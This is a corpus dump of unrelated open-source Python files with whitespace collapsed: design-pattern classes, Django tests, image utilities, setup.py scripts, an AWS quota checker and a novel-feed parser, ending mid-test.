from poop.hfdp.command.undo.command import Command from poop.hfdp.command.undo.nocommand import NoCommand class RemoteControlWithUndo: def __init__(self) -> None: no_command = NoCommand() self.__on_commands: list[Command] = [no_command for _ in range(7)] self.__off_commands: list[Command] = [no_command for _ in range(7)] self.__undo_command: Command = no_command def set_command( self, slot: int, on_command: Command, off_command: Command ) -> None: self.__on_commands[slot] = on_command self.__off_commands[slot] = off_command def on_button_was_pushed(self, slot: int) -> None: self.__on_commands[slot].execute() self.__undo_command = self.__on_commands[slot] def off_button_was_pushed(self, slot: int) -> None: self.__off_commands[slot].execute() self.__undo_command = self.__off_commands[slot] def undo_button_was_pushed(self) -> None: self.__undo_command.undo() def __str__(self) -> str: title = "\n------ Remote Control ------\n" on_commands = self.__on_commands off_commands = self.__off_commands commands = "\n".join( f"[slot {index}] {on_commands[index].__class__.__qualname__} " f"{off_commands[index].__class__.__qualname__}" for index in range(7) ) undo = f"Undo: {self.__undo_command.__class__.__qualname__}" return f"{title}\n{commands}\n{undo}"
67945
import os import pytest import nucleus from tests.helpers import TEST_DATASET_ITEMS, TEST_DATASET_NAME assert "NUCLEUS_PYTEST_API_KEY" in os.environ, ( "You must set the 'NUCLEUS_PYTEST_API_KEY' environment variable to a valid " "Nucleus API key to run the test suite" ) API_KEY = os.environ["NUCLEUS_PYTEST_API_KEY"] @pytest.fixture(scope="session") def CLIENT(): client = nucleus.NucleusClient(API_KEY) return client @pytest.fixture() def dataset(CLIENT): ds = CLIENT.create_dataset(TEST_DATASET_NAME) ds.append(TEST_DATASET_ITEMS) yield ds CLIENT.delete_dataset(ds.id) if __name__ == "__main__": client = nucleus.NucleusClient(API_KEY) # ds = client.create_dataset("Test Dataset With Autotags") # ds.append(TEST_DATASET_ITEMS) ds = client.get_dataset("ds_c5jwptkgfsqg0cs503z0") job = ds.create_image_index() job.sleep_until_complete() print(ds.id)
67963
from django import forms class SampleSearchForm(forms.Form): """Search form for test purposes""" query = forms.CharField(widget=forms.TextInput(attrs={'class': 'input-xlarge search-query', 'autocomplete': 'off'}))
67981
import numpy as np from skimage.transform import resize import skimage import torchvision.utils as tvutils import torch import PIL from PIL import Image import torchvision class UnNormalize(object): def __init__(self, mean, std): self.mean = torch.tensor(mean).unsqueeze(0).unsqueeze(2).unsqueeze(3) self.std = torch.tensor(std).unsqueeze(0).unsqueeze(2).unsqueeze(3) def __call__(self, tensor): """ Args: tensor (Tensor): Tensor image of size (C, H, W) to be normalized. Returns: Tensor: Normalized image. """ # for t, m, s in zip(tensor, self.mean, self.std): # t * s + m # # The normalize code -> t.sub_(m).div_(s) return tensor * self.std.to(tensor.device) + self.mean.to(tensor.device) imagenet_unnormalize = UnNormalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) taskononomy_unnormalize = UnNormalize([0.5,0.5,0.5], [0.5, 0.5, 0.5]) def log_input_images(obs_unpacked, mlog, num_stack, key_names=['map'], meter_name='debug/input_images', step_num=0, reset_meter=True, phase='train', unnormalize=taskononomy_unnormalize): # Plots the observations from the first process stacked = [] for key_name in key_names: if key_name not in obs_unpacked: print(key_name, "not found") continue obs = obs_unpacked[key_name][0] obs = (obs + 1.0) / 2.0 # obs = unnormalize(obs) # obs = (obs * 2. - 1.) try: obs = obs.cpu() except: pass obs_chunked = list(torch.chunk(obs, num_stack, dim=0)) if obs_chunked[0].shape[2] == 1 or obs_chunked[0].shape[2] == 3: obs_chunked = [o.permute(2, 0, 1) for o in obs_chunked] obs_chunked = [hacky_resize(obs) for obs in obs_chunked] key_stacked = torchvision.utils.make_grid(obs_chunked, nrow=num_stack, padding=2) stacked.append(key_stacked) stacked = torch.cat(stacked, dim=1) mlog.update_meter(stacked, meters={meter_name}, phase=phase) if reset_meter: mlog.reset_meter(step_num, meterlist={meter_name}) def hacky_resize(obs: torch.Tensor) -> torch.Tensor: obs_img_format = np.transpose((255 * obs.cpu().numpy()).astype(np.uint8), (1,2,0)) obs_resized = torch.Tensor(np.array(Image.fromarray(obs_img_format).resize((84,84))).astype(np.float32)).permute((2,0,1)) return obs_resized / 255. def rescale_for_display( batch, rescale=True, normalize=False ): ''' Prepares network output for display by optionally rescaling from [-1,1], and by setting some pixels to the min/max of 0/1. This prevents matplotlib from rescaling the images. ''' if rescale: display_batch = [ rescale_image( im.copy(), new_scale=[0, 1], current_scale=[-1, 1] ) for im in batch ] else: display_batch = batch.copy() if not normalize: for im in display_batch: im[0,0,0] = 1.0 # Adjust some values so that matplotlib doesn't rescale im[0,1,0] = 0.0 # Now adjust the min return display_batch def rescale_image(im, new_scale=[-1.,1.], current_scale=None, no_clip=False): """ Rescales an image pixel values to target_scale Args: img: A np.float_32 array, assumed between [0,1] new_scale: [min,max] current_scale: If not supplied, it is assumed to be in: [0, 1]: if dtype=float [0, 2^16]: if dtype=uint [0, 255]: if dtype=ubyte Returns: rescaled_image """ # im = im.astype(np.float32) if current_scale is not None: min_val, max_val = current_scale if not no_clip: im = np.clip(im, min_val, max_val) im = im - min_val im /= (max_val - min_val) min_val, max_val = new_scale im *= (max_val - min_val) im += min_val im = skimage.img_as_float(im) return im def resize_image(im, new_dims, interp_order=1): """ Resize an image array with interpolation. Parameters ---------- im : (H x W x K) ndarray new_dims : (height, width) tuple of new dimensions. interp_order : interpolation order, default is linear. Returns ------- im : resized ndarray with shape (new_dims[0], new_dims[1], K) By kchen @ https://github.com/kchen92/joint-representation/blob/24b30ca6963d2ec99618af379c1e05e1f7026710/lib/data/input_pipeline_feed_dict.py """ if type(im) == PIL.PngImagePlugin.PngImageFile: interps = [PIL.Image.NEAREST, PIL.Image.BILINEAR] return skimage.util.img_as_float(im.resize(new_dims, interps[interp_order])) if all( new_dims[i] == im.shape[i] for i in range( len( new_dims ) ) ): resized_im = im #return im.astype(np.float32) elif im.shape[-1] == 1 or im.shape[-1] == 3: # # skimage is fast but only understands {1,3} channel images resized_im = resize(im, new_dims, order=interp_order, preserve_range=True) else: # ndimage interpolates anything but more slowly. scale = tuple(np.array(new_dims, dtype=float) / np.array(im.shape[:2])) resized_im = zoom(im, scale + (1,), order=interp_order) # resized_im = resized_im.astype(np.float32) return resized_im def resize_rescale_image(img, new_dims, new_scale, interp_order=1, current_scale=None, no_clip=False): """ Resize an image array with interpolation, and rescale to be between Parameters ---------- im : (H x W x K) ndarray new_dims : (height, width) tuple of new dimensions. new_scale : (min, max) tuple of new scale. interp_order : interpolation order, default is linear. Returns ------- im : resized ndarray with shape (new_dims[0], new_dims[1], K) """ img = skimage.img_as_float( img ) img = resize_image( img, new_dims, interp_order ) img = rescale_image( img, new_scale, current_scale=current_scale, no_clip=no_clip ) return img def pack_images(x, prediction, label, mask=None): uncertainty = None if isinstance(prediction, tuple): prediction, uncertainty = prediction if len(label.shape) == 4 and label.shape[1] == 2: zeros = torch.zeros(label.shape[0], 1, label.shape[2], label.shape[3]).to(label.device) label = torch.cat([label, zeros], dim=1) prediction = torch.cat([prediction, zeros], dim=1) if uncertainty is not None: uncertainty = torch.cat([uncertainty, zeros], dim=1) if mask is not None: mask = torch.cat([mask, mask[:,0].unsqueeze(1)], dim=1) if len(x.shape) == 4 and x.shape[1] == 2: zeros = torch.zeros(x.shape[0], 1, x.shape[2], x.shape[3]).to(x.device) x = torch.cat([x, zeros], dim=1) to_cat = [] if x.shape[1] <= 3: to_cat.append(x) shape_with_three_channels = list(x.shape) shape_with_three_channels[1] = 3 to_cat.append(prediction.expand(shape_with_three_channels)) if uncertainty is not None: print(uncertainty.min(), uncertainty.max()) uncertainty = 2*uncertainty - 1.0 uncertainty = uncertainty.clamp(min=-1.0, max=1.0) to_cat.append(uncertainty.expand(shape_with_three_channels)) to_cat.append(label.expand(shape_with_three_channels)) if mask is not None: to_cat.append(mask.expand(shape_with_three_channels)) # print([p.shape for p in to_cat]) im_samples = torch.cat(to_cat, dim=3) im_samples = tvutils.make_grid(im_samples.detach().cpu(), nrow=1, padding=2) return im_samples def maybe_entriple(x, is_mask=False): if x.shape[1] == 2: if is_mask: x = torch.cat([x, x[:,0].unsqueeze(1)], dim=1) else: zeros = torch.zeros(x.shape[0], 1, x.shape[2], x.shape[3]).to(x.device) x = torch.cat([x, zeros], dim=1) shape_with_three_channels = list(x.shape) shape_with_three_channels[1] = 3 return x.expand(shape_with_three_channels) def pack_chained_images(x, predictions, labels, mask=None): x = maybe_entriple(x) if mask is not None: mask = maybe_entriple(mask, is_mask=True) tripled_predictions, uncertainties = [], [] for p in predictions: if isinstance(p, tuple): p, u = p uncertainties.append(maybe_entriple(u)) else: uncertainties.append(None) tripled_predictions.append(maybe_entriple(p)) predictions = tripled_predictions labels = [maybe_entriple(l) for l in labels] to_cat = [] if x.shape[1] <= 3: to_cat.append(x) for pred, uncert, label in zip(predictions, uncertainties, labels): to_cat.append(label) to_cat.append(pred) if uncert is not None: print(uncert.min(), uncert.max()) uncert = 2*uncert - 1.0 uncert = uncert.clamp(min=-1.0, max=1.0) to_cat.append(uncert) if mask is not None: to_cat.append(mask) # print([p.shape for p in to_cat]) im_samples = torch.cat(to_cat, dim=3) im_samples = tvutils.make_grid(im_samples.detach().cpu(), nrow=1, padding=2) return im_samples
68031
import sqlmlutils connection=sqlmlutils.ConnectionInfo(server="localhost",database="Test") sqlmlutils.SQLPackageManager(connection).install("textblob")
68037
from setuptools import setup, find_packages """ Instructions for creating a release of the scispacy library. 1. Make sure your working directory is clean. 2. Make sure that you have changed the versions in "scispacy/version.py". 3. Create the distribution by running "python setup.py sdist" in the root of the repository. 4. Check you can install the new distribution in a clean environment. 5. Upload the distribution to pypi by running "twine upload <path to the distribution> -u <username> -p <password>". This step will ask you for a username and password - the username is "scispacy" you can get the password from LastPass. """ VERSION = {} # version.py defines VERSION and VERSION_SHORT variables. # We use exec here to read it so that we don't import scispacy # whilst setting up the package. with open("scispacy/version.py", "r") as version_file: exec(version_file.read(), VERSION) setup( name="scispacy", version=VERSION["VERSION"], url="https://allenai.github.io/SciSpaCy/", author="Allen Institute for Artificial Intelligence", author_email="<EMAIL>", description="A full SpaCy pipeline and models for scientific/biomedical documents.", long_description=open("README.md").read(), long_description_content_type="text/markdown", keywords=["bioinformatics nlp spacy SpaCy biomedical"], classifiers=[ "Intended Audience :: Science/Research", "Development Status :: 3 - Alpha", "License :: OSI Approved :: Apache Software License", "Programming Language :: Python :: 3.6", "Topic :: Scientific/Engineering :: Artificial Intelligence", "Topic :: Scientific/Engineering :: Bio-Informatics", ], packages=find_packages(exclude=["*.tests", "*.tests.*", "tests.*", "tests"]), license="Apache", install_requires=[ "spacy>=3.0.0,<3.1.0", "requests>=2.0.0,<3.0.0", "conllu", "numpy", "joblib", "nmslib>=1.7.3.6", "scikit-learn>=0.20.3", "pysbd", ], tests_require=["pytest", "pytest-cov", "flake8", "black", "mypy"], python_requires=">=3.6.0", )
68073
from concurrent.futures.thread import ThreadPoolExecutor from typing import List from provider.aws.common_aws import get_paginator from provider.aws.limit.command import LimitOptions from provider.aws.limit.data.allowed_resources import ( ALLOWED_SERVICES_CODES, FILTER_EC2_BIGFAMILY, SPECIAL_RESOURCES, ) from shared.common import ( ResourceProvider, Resource, ResourceDigest, message_handler, ResourceCache, LimitsValues, ) from shared.error_handler import exception SERVICEQUOTA_TO_BOTO3 = { "elasticloadbalancing": "elbv2", "elasticfilesystem": "efs", "vpc": "ec2", "codeguru-profiler": "codeguruprofiler", "AWSCloudMap": "servicediscovery", "ebs": "ec2", } MAX_EXECUTION_PARALLEL = 2 class LimitResources(ResourceProvider): def __init__(self, options: LimitOptions): """ All resources :param options: """ super().__init__() self.options = options self.cache = ResourceCache() @exception # pylint: disable=too-many-locals def get_resources(self) -> List[Resource]: threshold_requested = ( 0 if self.options.threshold is None else self.options.threshold ) client_quota = self.options.client("service-quotas") resources_found = [] services = self.options.services with ThreadPoolExecutor(MAX_EXECUTION_PARALLEL) as executor: results = executor.map( lambda service_name: self.analyze_service( service_name=service_name, client_quota=client_quota, threshold_requested=int(threshold_requested), ), services, ) for result in results: if result is not None: resources_found.extend(result) return resources_found @exception def analyze_service(self, service_name, client_quota, threshold_requested): if service_name in SPECIAL_RESOURCES: return [] cache_key = "aws_limits_" + service_name + "_" + self.options.region_name cache = self.cache.get_key(cache_key) resources_found = [] if service_name not in cache: return [] """ Services that must be enabled in your account. Those services will fail you don't enable Fraud Detector: https://pages.awscloud.com/amazon-fraud-detector-preview.html# AWS Organizations: https://console.aws.amazon.com/organizations/ """ if service_name in ("frauddetector", "organizations"): message_handler( "Attention: Service " + service_name + " must be enabled to use API calls.", "WARNING", ) for data_quota_code in cache[service_name]: if data_quota_code is None: continue resource_found = self.analyze_quota( client_quota=client_quota, data_quota_code=data_quota_code, service=service_name, threshold_requested=threshold_requested, ) if resource_found is not None: resources_found.append(resource_found) return resources_found @exception # pylint: disable=too-many-locals,too-many-statements def analyze_quota( self, client_quota, data_quota_code, service, threshold_requested ): resource_found = None quota_data = ALLOWED_SERVICES_CODES[service][data_quota_code["quota_code"]] value_aws = value = data_quota_code["value"] # Quota is adjustable by ticket request, then must override this values. if bool(data_quota_code["adjustable"]) is True: try: response_quota = client_quota.get_service_quota( ServiceCode=service, QuotaCode=data_quota_code["quota_code"] ) if "Value" in response_quota["Quota"]: value = response_quota["Quota"]["Value"] else: value = data_quota_code["value"] except client_quota.exceptions.NoSuchResourceException: value = data_quota_code["value"] if self.options.verbose: message_handler( "Collecting data from Quota: " + service + " - " + data_quota_code["quota_name"] + "...", "HEADER", ) # Need to convert some quota-services endpoint if service in SERVICEQUOTA_TO_BOTO3: service = SERVICEQUOTA_TO_BOTO3.get(service) """ AWS Networkservice is a global service and just allows region us-west-2 instead us-east-1 Reference https://docs.aws.amazon.com/networkmanager/latest/APIReference/Welcome.html TODO: If we detect more resources like that, convert it into a dict """ if service == "networkmanager": region_boto3 = "us-west-2" else: region_boto3 = self.options.region_name client = self.options.session.client(service, region_name=region_boto3) usage = 0 # Check filters by resource if "filter" in quota_data: filters = quota_data["filter"] else: filters = None pages = get_paginator( client=client, operation_name=quota_data["method"], resource_type="aws_limit", filters=filters, ) if not pages: if filters: response = getattr(client, quota_data["method"])(**filters) else: response = getattr(client, quota_data["method"])() # If fields element is not empty, sum values instead list len if quota_data["fields"]: for item in response[quota_data["method"]]: usage = usage + item[quota_data["fields"]] else: usage = len(response[quota_data["key"]]) else: for page in pages: if quota_data["fields"]: if len(page[quota_data["key"]]) > 0: usage = usage + page[quota_data["key"]][0][quota_data["fields"]] else: usage = usage + len(page[quota_data["key"]]) # Value for division if "divisor" in quota_data: usage = usage / quota_data["divisor"] """ Hack to workaround boto3 limits of 200 items per filter. Quota L-1216C47A needs more than 200 items. Not happy with this code TODO: Refactor this piece of terrible code. """ if data_quota_code["quota_code"] == "L-1216C47A": filters = FILTER_EC2_BIGFAMILY["filter"] pages = get_paginator( client=client, operation_name=quota_data["method"], resource_type="aws_limit", filters=filters, ) if not pages: response = getattr(client, quota_data["method"])(**filters) usage = len(response[quota_data["key"]]) else: for page in pages: usage = usage + len(page[quota_data["key"]]) try: percent = round((usage / value) * 100, 2) except ZeroDivisionError: percent = 0 if percent >= threshold_requested: resource_found = Resource( digest=ResourceDigest( id=data_quota_code["quota_code"], type="aws_limit" ), name="", group="", limits=LimitsValues( quota_name=data_quota_code["quota_name"], quota_code=data_quota_code["quota_code"], aws_limit=int(value_aws), local_limit=int(value), usage=int(usage), service=service, percent=percent, ), ) return resource_found
68118
from setuptools import setup, find_packages import sys import os VERSION = '1.6' # Cython has to be installed before. And I could not find any other ways. os.system('pip install cython') from Cython.Build import cythonize if sys.version_info[0] < 3: raise Exception('Must be using Python 3.') setup(name='lead-lag', version=VERSION, ext_modules=cythonize("lead_lag/lead_lag_impl.pyx", language_level="3"), description='Lead lag estimation with a O(n log n) complexity.', author='<NAME>', license='Open Source', packages=find_packages(), include_package_data=True, install_requires=[ 'pandas>=0.22.0', 'numpy>=1.15.0', 'tqdm>=4.19.2', 'matplotlib>=2.2.2', ])
68148
import os print(os.getcwd()) l = os.listdir() print(l) assert "test_dirs.py" in l assert "os" in l for t in os.walk("."): print(t) for t in os.walk(".", False): print(t)
68173
def extractNovelsJapan(item): """ 'Novels Japan' """ if item['title'].endswith(' (Sponsored)'): item['title'] = item['title'][:-1 * len(' (Sponsored)')] if item['title'].endswith(' and Announcement'): item['title'] = item['title'][:-1 * len(' and Announcement')] vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if not (chp or vol or frag) or 'preview' in item['title'].lower(): return None if item['title'].lower().endswith('loner dungeon'): return buildReleaseMessageWithType(item, 'I who is a Loner, Using cheats adapts to the Dungeon', vol, chp, frag=frag, postfix=postfix) if item['title'].lower().endswith('vending machine'): return buildReleaseMessageWithType(item, 'I was Reborn as a Vending Machine, Wandering in the Dungeon', vol, chp, frag=frag, postfix=postfix) if item['title'].lower().endswith('login bonus'): return buildReleaseMessageWithType(item, 'Skill Up with Login Bonus', vol, chp, frag=frag, postfix=postfix) if item['title'].lower().endswith('lv2 cheat') or item['title'].lower().endswith( 'ex-hero candidate’s, who turned out to be a cheat from lv2, laid-back life in another world') or 'Lv2 Cheat' in item['tags']: return buildReleaseMessageWithType(item, "Ex-Hero Candidate's, Who Turned Out To Be A Cheat From Lv2, Laid-back Life In Another World", vol, chp, frag=frag, postfix=postfix) if 'Second Earth' in item['tags']: return buildReleaseMessageWithType(item, 'Second Earth', vol, chp, frag=frag, postfix=postfix) if 'Strongest Revolution' in item['tags']: return buildReleaseMessageWithType(item, 'The Fierce Revolution ~ The Strongest Organism Which Can Kill the Devil and the Hero', vol, chp, frag=frag, postfix=postfix) if 'Loner Dungeon' in item['tags']: return buildReleaseMessageWithType(item, 'I who is a Loner, Using cheats adapts to the Dungeon', vol, chp, frag=frag, postfix=postfix) if 'Skill Up' in item['tags']: return buildReleaseMessageWithType(item, 'Skill Up with Login Bonus', vol, chp, frag=frag, postfix=postfix) if 'Isobe Isobee' in item['tags']: return buildReleaseMessageWithType(item, 'Isobe Isobee', vol, chp, frag=frag, postfix=postfix) if 'Ex-hero' in item['tags']: return buildReleaseMessageWithType(item, "Ex-Hero Candidate's, Who Turned Out To Be A Cheat From Lv2, Laid-back Life In Another World", vol, chp, frag=frag, postfix=postfix) return False
68206
from __future__ import absolute_import import sys try: import threading except ImportError: threading = None import time from django.db import (connection, transaction, DatabaseError, Error, IntegrityError, OperationalError) from django.test import TransactionTestCase, skipIfDBFeature, skipUnlessDBFeature from django.test.utils import IgnorePendingDeprecationWarningsMixin from django.utils import six from django.utils.unittest import skipIf, skipUnless from .models import Reporter @skipUnless(connection.features.uses_savepoints, "'atomic' requires transactions and savepoints.") class AtomicTests(TransactionTestCase): """ Tests for the atomic decorator and context manager. The tests make assertions on internal attributes because there isn't a robust way to ask the database for its current transaction state. Since the decorator syntax is converted into a context manager (see the implementation), there are only a few basic tests with the decorator syntax and the bulk of the tests use the context manager syntax. """ available_apps = ['transactions'] def test_decorator_syntax_commit(self): @transaction.atomic def make_reporter(): Reporter.objects.create(first_name="Tintin") make_reporter() self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) def test_decorator_syntax_rollback(self): @transaction.atomic def make_reporter(): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") with six.assertRaisesRegex(self, Exception, "Oops"): make_reporter() self.assertQuerysetEqual(Reporter.objects.all(), []) def test_alternate_decorator_syntax_commit(self): @transaction.atomic() def make_reporter(): Reporter.objects.create(first_name="Tintin") make_reporter() self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) def test_alternate_decorator_syntax_rollback(self): @transaction.atomic() def make_reporter(): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") with six.assertRaisesRegex(self, Exception, "Oops"): make_reporter() self.assertQuerysetEqual(Reporter.objects.all(), []) def test_commit(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) def test_rollback(self): with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_nested_commit_commit(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") with transaction.atomic(): Reporter.objects.create(first_name="Archibald", last_name="Haddock") self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: <NAME>>', '<Reporter: Tintin>']) def test_nested_commit_rollback(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) def test_nested_rollback_commit(self): with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(last_name="Tintin") with transaction.atomic(): Reporter.objects.create(last_name="Haddock") raise Exception("Oops, that's his first name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_nested_rollback_rollback(self): with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(last_name="Tintin") with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") raise Exception("Oops, that's his first name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_merged_commit_commit(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") with transaction.atomic(savepoint=False): Reporter.objects.create(first_name="Archibald", last_name="Haddock") self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: <NAME>>', '<Reporter: Tintin>']) def test_merged_commit_rollback(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(savepoint=False): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") # Writes in the outer block are rolled back too. self.assertQuerysetEqual(Reporter.objects.all(), []) def test_merged_rollback_commit(self): with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(last_name="Tintin") with transaction.atomic(savepoint=False): Reporter.objects.create(last_name="Haddock") raise Exception("Oops, that's his first name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_merged_rollback_rollback(self): with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(): Reporter.objects.create(last_name="Tintin") with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(savepoint=False): Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") raise Exception("Oops, that's his first name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_reuse_commit_commit(self): atomic = transaction.atomic() with atomic: Reporter.objects.create(first_name="Tintin") with atomic: Reporter.objects.create(first_name="Archibald", last_name="Haddock") self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: <NAME>>', '<Reporter: Tintin>']) def test_reuse_commit_rollback(self): atomic = transaction.atomic() with atomic: Reporter.objects.create(first_name="Tintin") with six.assertRaisesRegex(self, Exception, "Oops"): with atomic: Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) def test_reuse_rollback_commit(self): atomic = transaction.atomic() with six.assertRaisesRegex(self, Exception, "Oops"): with atomic: Reporter.objects.create(last_name="Tintin") with atomic: Reporter.objects.create(last_name="Haddock") raise Exception("Oops, that's his first name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_reuse_rollback_rollback(self): atomic = transaction.atomic() with six.assertRaisesRegex(self, Exception, "Oops"): with atomic: Reporter.objects.create(last_name="Tintin") with six.assertRaisesRegex(self, Exception, "Oops"): with atomic: Reporter.objects.create(first_name="Haddock") raise Exception("Oops, that's his last name") raise Exception("Oops, that's his first name") self.assertQuerysetEqual(Reporter.objects.all(), []) def test_force_rollback(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") # atomic block shouldn't rollback, but force it. self.assertFalse(transaction.get_rollback()) transaction.set_rollback(True) self.assertQuerysetEqual(Reporter.objects.all(), []) def test_prevent_rollback(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") sid = transaction.savepoint() # trigger a database error inside an inner atomic without savepoint with self.assertRaises(DatabaseError): with transaction.atomic(savepoint=False): connection.cursor().execute( "SELECT no_such_col FROM transactions_reporter") # prevent atomic from rolling back since we're recovering manually self.assertTrue(transaction.get_rollback()) transaction.set_rollback(False) transaction.savepoint_rollback(sid) self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) class AtomicInsideTransactionTests(AtomicTests): """All basic tests for atomic should also pass within an existing transaction.""" def setUp(self): self.atomic = transaction.atomic() self.atomic.__enter__() def tearDown(self): self.atomic.__exit__(*sys.exc_info()) @skipIf(connection.features.autocommits_when_autocommit_is_off, "This test requires a non-autocommit mode that doesn't autocommit.") class AtomicWithoutAutocommitTests(AtomicTests): """All basic tests for atomic should also pass when autocommit is turned off.""" def setUp(self): transaction.set_autocommit(False) def tearDown(self): # The tests access the database after exercising 'atomic', initiating # a transaction ; a rollback is required before restoring autocommit. transaction.rollback() transaction.set_autocommit(True) @skipIf(connection.features.autocommits_when_autocommit_is_off, "This test requires a non-autocommit mode that doesn't autocommit.") class AtomicInsideLegacyTransactionManagementTests(AtomicTests): def setUp(self): transaction.enter_transaction_management() def tearDown(self): # The tests access the database after exercising 'atomic', making the # connection dirty; a rollback is required to make it clean. transaction.rollback() transaction.leave_transaction_management() @skipUnless(connection.features.uses_savepoints, "'atomic' requires transactions and savepoints.") class AtomicMergeTests(TransactionTestCase): """Test merging transactions with savepoint=False.""" available_apps = ['transactions'] def test_merged_outer_rollback(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") with transaction.atomic(savepoint=False): Reporter.objects.create(first_name="Archibald", last_name="Haddock") with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(savepoint=False): Reporter.objects.create(first_name="Tournesol") raise Exception("Oops, that's his last name") # The third insert couldn't be roll back. Temporarily mark the # connection as not needing rollback to check it. self.assertTrue(transaction.get_rollback()) transaction.set_rollback(False) self.assertEqual(Reporter.objects.count(), 3) transaction.set_rollback(True) # The second insert couldn't be roll back. Temporarily mark the # connection as not needing rollback to check it. self.assertTrue(transaction.get_rollback()) transaction.set_rollback(False) self.assertEqual(Reporter.objects.count(), 3) transaction.set_rollback(True) # The first block has a savepoint and must roll back. self.assertQuerysetEqual(Reporter.objects.all(), []) def test_merged_inner_savepoint_rollback(self): with transaction.atomic(): Reporter.objects.create(first_name="Tintin") with transaction.atomic(): Reporter.objects.create(first_name="Archibald", last_name="Haddock") with six.assertRaisesRegex(self, Exception, "Oops"): with transaction.atomic(savepoint=False): Reporter.objects.create(first_name="Tournesol") raise Exception("Oops, that's his last name") # The third insert couldn't be roll back. Temporarily mark the # connection as not needing rollback to check it. self.assertTrue(transaction.get_rollback()) transaction.set_rollback(False) self.assertEqual(Reporter.objects.count(), 3) transaction.set_rollback(True) # The second block has a savepoint and must roll back. self.assertEqual(Reporter.objects.count(), 1) self.assertQuerysetEqual(Reporter.objects.all(), ['<Reporter: Tintin>']) @skipUnless(connection.features.uses_savepoints, "'atomic' requires transactions and savepoints.") class AtomicErrorsTests(TransactionTestCase): available_apps = ['transactions'] def test_atomic_prevents_setting_autocommit(self): autocommit = transaction.get_autocommit() with transaction.atomic(): with self.assertRaises(transaction.TransactionManagementError): transaction.set_autocommit(not autocommit) # Make sure autocommit wasn't changed. self.assertEqual(connection.autocommit, autocommit) def test_atomic_prevents_calling_transaction_methods(self): with transaction.atomic(): with self.assertRaises(transaction.TransactionManagementError): transaction.commit() with self.assertRaises(transaction.TransactionManagementError): transaction.rollback() def test_atomic_prevents_calling_transaction_management_methods(self): with transaction.atomic(): with self.assertRaises(transaction.TransactionManagementError): transaction.enter_transaction_management() with self.assertRaises(transaction.TransactionManagementError): transaction.leave_transaction_management() def test_atomic_prevents_queries_in_broken_transaction(self): r1 = Reporter.objects.create(first_name="Archibald", last_name="Haddock") with transaction.atomic(): r2 = Reporter(first_name="Cuthbert", last_name="Calculus", id=r1.id) with self.assertRaises(IntegrityError): r2.save(force_insert=True) # The transaction is marked as needing rollback. with self.assertRaises(transaction.TransactionManagementError): r2.save(force_update=True) self.assertEqual(Reporter.objects.get(pk=r1.pk).last_name, "Haddock") @skipIfDBFeature('atomic_transactions') def test_atomic_allows_queries_after_fixing_transaction(self): r1 = Reporter.objects.create(first_name="Archibald", last_name="Haddock") with transaction.atomic(): r2 = Reporter(first_name="Cuthbert", last_name="Calculus", id=r1.id) with self.assertRaises(IntegrityError): r2.save(force_insert=True) # Mark the transaction as no longer needing rollback. transaction.set_rollback(False) r2.save(force_update=True) self.assertEqual(Reporter.objects.get(pk=r1.pk).last_name, "Calculus") @skipUnlessDBFeature('test_db_allows_multiple_connections') def test_atomic_prevents_queries_in_broken_transaction_after_client_close(self): with transaction.atomic(): Reporter.objects.create(first_name="Archibald", last_name="Haddock") connection.close() # The connection is closed and the transaction is marked as # needing rollback. This will raise an InterfaceError on databases # that refuse to create cursors on closed connections (PostgreSQL) # and a TransactionManagementError on other databases. with self.assertRaises(Error): Reporter.objects.create(first_name="Cuthbert", last_name="Calculus") # The connection is usable again . self.assertEqual(Reporter.objects.count(), 0) @skipUnless(connection.vendor == 'mysql', "MySQL-specific behaviors") class AtomicMySQLTests(TransactionTestCase): available_apps = ['transactions'] @skipIf(threading is None, "Test requires threading") def test_implicit_savepoint_rollback(self): """MySQL implicitly rolls back savepoints when it deadlocks (#22291).""" other_thread_ready = threading.Event() def other_thread(): try: with transaction.atomic(): Reporter.objects.create(id=1, first_name="Tintin") 